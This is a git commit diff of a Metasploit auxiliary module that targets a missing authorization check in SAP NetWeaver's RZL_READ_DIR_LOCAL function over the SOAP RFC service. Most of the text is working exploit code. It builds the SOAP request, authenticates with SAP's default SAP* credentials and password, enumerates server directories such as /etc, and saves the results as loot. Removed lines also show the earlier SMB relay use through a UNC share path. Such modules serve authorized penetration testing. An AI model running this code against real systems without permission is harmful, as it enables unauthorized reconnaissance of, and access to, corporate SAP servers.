Merge pull request #5 from jvazquez-r7/sap_soap_rfc_rzl_read_dir_local_dir_cleanup

Cleanup for sap_soap_rfc_rzl_read_dir_local_dir_listing_and_smb_relay
unstable
nmonkee 2013-05-02 02:55:23 -07:00
commit 8e9789b71d
1 changed files with 59 additions and 32 deletions

View File

@ -31,23 +31,43 @@ class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'RZL_READ_DIR_LOCAL (directory listing and SMB relay)',
'Name' => 'SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing',
'Description' => %q{
This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL Missing Authorization Check And SMB Relay Vulnerability.
SAP Note 1595074 / DSECRG-12-026.
RZL_READ_DIR_LOCAL returns the file names in a given directory. It returns only the first 32 characters of a filename (truncated).
},
'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/']],
'Author' => ['nmonkee'],
This module exploits the SAP NetWeaver RZL_READ_DIR_LOCAL function, on the SAP
SOAP RFC Service, to enumerate directory contents. It returns only the first 32
characters of the filename since they are truncated.
},
'References' => [
[ 'OSVDB', '92732'],
[ 'URL', 'http://erpscan.com/advisories/dsecrg-12-026-sap-netweaver-rzl_read_dir_local-missing-authorization-check-and-smb-relay-vulnerability/' ]
],
'Author' =>
[
'Alexey Tyurin', # Vulnerability discovery
'nmonkee' # Metasploit module
],
'License' => MSF_LICENSE
)
)
register_options([
OptString.new('CLIENT', [true, 'SAP client', nil]),
OptString.new('USER', [true, 'Username', nil]),
OptString.new('PASS', [true, 'Password', nil]),
OptString.new('PATH',[true,'File path (e.g. \\xx.xx.xx.xx\share)','c:\\'])
], self.class)
OptString.new('CLIENT', [true, 'SAP Client', '001']),
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
OptString.new('PASSWORD', [true, 'Password', '06071992']),
OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])
], self.class)
end
def parse_xml(xml_data)
files = []
xml_doc = Nokogiri::XML(xml_data)
xml_doc.css('item').each {|item|
name = item.css('NAME')
size = item.css('SIZE')
if not name.empty? and not size.empty?
files << { "name" => name.text, "size" => size.text }
end
}
return files
end
def run_host(ip)
@ -64,32 +84,39 @@ class Metasploit4 < Msf::Auxiliary
data << '<SIZE></SIZE>'
data << '</item>'
data << '</FILE_TBL>'
data << '<NAME>' + datastore['PATH'] + '</NAME>'
data << '<NAME>' + datastore['DIR'] + '</NAME>'
data << '</RZL_READ_DIR_LOCAL>'
data << '</SOAP-ENV:Body>'
data << '</SOAP-ENV:Envelope>'
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
begin
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
res = send_request_raw({
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
vprint_status("#{rhost}:#{rport} - Sending request to enumerate #{datastore['DIR']}")
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc',
'method' => 'POST',
'data' => data,
'headers' =>{
'Content-Length' => data.size.to_s,
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'ctype' => 'text/xml; charset=UTF-8',
'headers' => {
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8',}
}, 45)
if res
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Unable to connect")
return
},
'vars_get' => {
'sap-client' => datastore['CLIENT'],
'sap-language' => 'EN'
}
})
if res and res.code == 200 and res.body =~ /rfc:RZL_READ_DIR_LOCAL.Response/
files = parse_xml(res.body)
path = store_loot("sap.soap.rfc.dir", "text/xml", rhost, res.body, datastore['DIR'])
print_good("#{rhost}:#{rport} - #{datastore['DIR']} successfully enumerated, results stored on #{path}")
files.each { |f|
vprint_line("Entry: #{f["name"]}, Size: #{f["size"].to_i}")
}
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Unable to connect")
return
end
end
end